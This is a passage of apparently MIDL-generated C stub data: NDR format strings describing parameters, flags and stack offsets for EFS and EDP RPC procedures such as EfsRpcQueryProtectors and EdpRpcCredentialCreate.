*/\n\t\t\t0x0,\t\t/* 0 */\n/* 912 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 914 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 916 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 918 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 920 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 922 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 924 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 926 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 928 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 930 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 932 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 934 */\tNdrFcShort( 0x264 ),\t/* Type Offset=612 */\n\n\t/* Return value */\n\n/* 936 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 938 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 940 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcGetEncryptedFileMetadata */\n\n/* 942 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 944 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 948 */\tNdrFcShort( 0x12 ),\t/* 18 */\n/* 950 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 952 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 954 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 956 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 958 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 960 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 962 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 964 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 966 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 968 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 970 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter FileName */\n\n/* 972 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 974 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 976 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter EfsStreamBlob */\n\n/* 978 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 980 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 982 */\tNdrFcShort( 0x1f2 ),\t/* Type Offset=498 */\n\n\t/* Return value */\n\n/* 984 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 986 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 988 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcSetEncryptedFileMetadata */\n\n/* 990 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 992 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 996 */\tNdrFcShort( 0x13 ),\t/* 19 */\n/* 998 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1000 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1002 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1004 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1006 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1008 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1010 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1012 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1014 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1016 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1018 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter FileName */\n\n/* 1020 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1022 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1024 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter OldEfsStreamBlob */\n\n/* 1026 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1028 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1030 */\tNdrFcShort( 0x1c8 ),\t/* Type Offset=456 */\n\n\t/* Parameter NewEfsStreamBlob */\n\n/* 1032 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1034 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1036 */\tNdrFcShort( 0x1e2 ),\t/* Type Offset=482 */\n\n\t/* Parameter NewEfsSignature */\n\n/* 1038 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1040 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1042 */\tNdrFcShort( 0x280 ),\t/* Type Offset=640 */\n\n\t/* Return value */\n\n/* 1044 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1046 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1048 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcFlushEfsCache */\n\n/* 1050 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1052 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1056 */\tNdrFcShort( 0x14 ),\t/* 20 */\n/* 1058 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1060 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1062 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1064 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1066 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1068 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x1,\t\t/* 1 */\n/* 1070 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1072 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1074 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1076 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1078 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Return value */\n\n/* 1080 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1082 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1084 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcEncryptFileExSrv */\n\n/* 1086 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1088 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1092 */\tNdrFcShort( 0x15 ),\t/* 21 */\n/* 1094 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1096 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1098 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1100 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1102 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1104 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1106 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1108 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1110 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1112 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1114 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter FileName */\n\n/* 1116 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1118 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1120 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter ProtectorDescriptor */\n\n/* 1122 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1124 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1126 */\tNdrFcShort( 0x29e ),\t/* Type Offset=670 */\n\n\t/* Parameter Flags */\n\n/* 1128 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1130 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1132 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1134 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1136 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1138 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcQueryProtectors */\n\n/* 1140 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1142 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1146 */\tNdrFcShort( 0x16 ),\t/* 22 */\n/* 1148 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1150 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1152 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1154 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1156 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1158 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1160 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1162 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1164 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1166 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1168 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter FileName */\n\n/* 1170 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1172 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1174 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter ppProtectorList */\n\n/* 1176 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 1178 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1180 */\tNdrFcShort( 0x2a2 ),\t/* Type Offset=674 */\n\n\t/* Return value */\n\n/* 1182 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1184 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1186 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc23_EfsRpcWriteFileWithHeaderRaw */\n\n/* 1188 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1190 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1194 */\tNdrFcShort( 0x17 ),\t/* 23 */\n/* 1196 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1198 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1200 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1202 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1204 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 1206 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1208 */\t0x4e,\t\t/* Oi2 Flags:  clt must size, has return, has pipes, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1210 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1212 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1214 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1216 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1218 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_0 */\n\n/* 1220 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1222 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1224 */\tNdrFcShort( 0x2fe ),\t/* Type Offset=766 */\n\n\t/* Parameter arg_1 */\n\n/* 1226 */\tNdrFcShort( 0x10c ),\t/* Flags:  pipe, in, simple ref, */\n/* 1228 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1230 */\tNdrFcShort( 0x308 ),\t/* Type Offset=776 */\n\n\t/* Parameter arg_2 */\n\n/* 1232 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1234 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1236 */\tNdrFcShort( 0x26c ),\t/* Type Offset=620 */\n\n\t/* Parameter arg_3 */\n\n/* 1238 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1240 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1242 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_4 */\n\n/* 1244 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1246 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1248 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1250 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1252 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1254 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc24_EdpRpcCredentialCreate */\n\n/* 1256 */\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 1258 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1262 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1264 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1266 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1268 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1270 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1272 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1274 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1276 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1278 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1280 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1282 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1284 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 1286 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1288 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1290 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_2 */\n\n/* 1292 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1294 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1296 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_3 */\n\n/* 1298 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1300 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1302 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_4 */\n\n/* 1304 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 1306 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1308 */\tNdrFcShort( 0x318 ),\t/* Type Offset=792 */\n\n\t/* Return value */\n\n/* 1310 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1312 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1314 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc25_EdpRpcCredentialQuery */\n\n/* 1316 */\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 1318 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1322 */\tNdrFcShort( 0x19 ),\t/* 25 */\n/* 1324 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1326 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1328 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1330 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1332 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1334 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1336 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1338 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1340 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1342 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1344 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 1346 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1348 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1350 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_2 */\n\n/* 1352 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1354 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1356 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_3 */\n\n/* 1358 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1360 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1362 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_4 */\n\n/* 1364 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 1366 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1368 */\tNdrFcShort( 0x318 ),\t/* Type Offset=792 */\n\n\t/* Return value */\n\n/* 1370 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1372 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1374 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc26_EdpRpcCredentialExists */\n\n/* 1376 */\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 1378 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1382 */\tNdrFcShort( 0x1a ),\t/* 26 */\n/* 1384 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1386 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1388 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1390 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1392 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1394 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1396 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1400 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1402 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1404 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 1406 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1408 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1410 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_2 */\n\n/* 1412 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1414 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1416 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_3 */\n\n/* 1418 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1420 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1422 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_4 */\n\n/* 1424 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1426 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1428 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1430 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1432 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1434 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc27_EdpRpcCredentialDelete */\n\n/* 1436 */\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 1438 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1442 */\tNdrFcShort( 0x1b ),\t/* 27 */\n/* 1444 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1446 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1448 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1450 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1452 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1454 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1456 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1458 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1460 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1462 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1464 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 1466 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1468 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1470 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_2 */\n\n/* 1472 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1474 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1476 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_3 */\n\n/* 1478 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1480 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1482 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_4 */\n\n/* 1484 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1486 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1488 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_5 */\n\n/* 1490 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1492 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1494 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Return value */\n\n/* 1496 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1498 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1500 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc28_EdpRpcQueryRevokedPolicyOwnerIds */\n\n/* 1502 */\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 1504 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1508 */\tNdrFcShort( 0x1c ),\t/* 28 */\n/* 1510 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1512 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1514 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1516 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1518 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1520 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1522 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1524 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1526 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1528 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1530 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 1532 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1534 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1536 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_2 */\n\n/* 1538 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1540 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1542 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_3 */\n\n/* 1544 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 1546 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1548 */\tNdrFcShort( 0x318 ),\t/* Type Offset=792 */\n\n\t/* Return value */\n\n/* 1550 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1552 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1554 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc29_EdpRpcQueryDplEnforcedPolicyOwnerIds */\n\n/* 1556 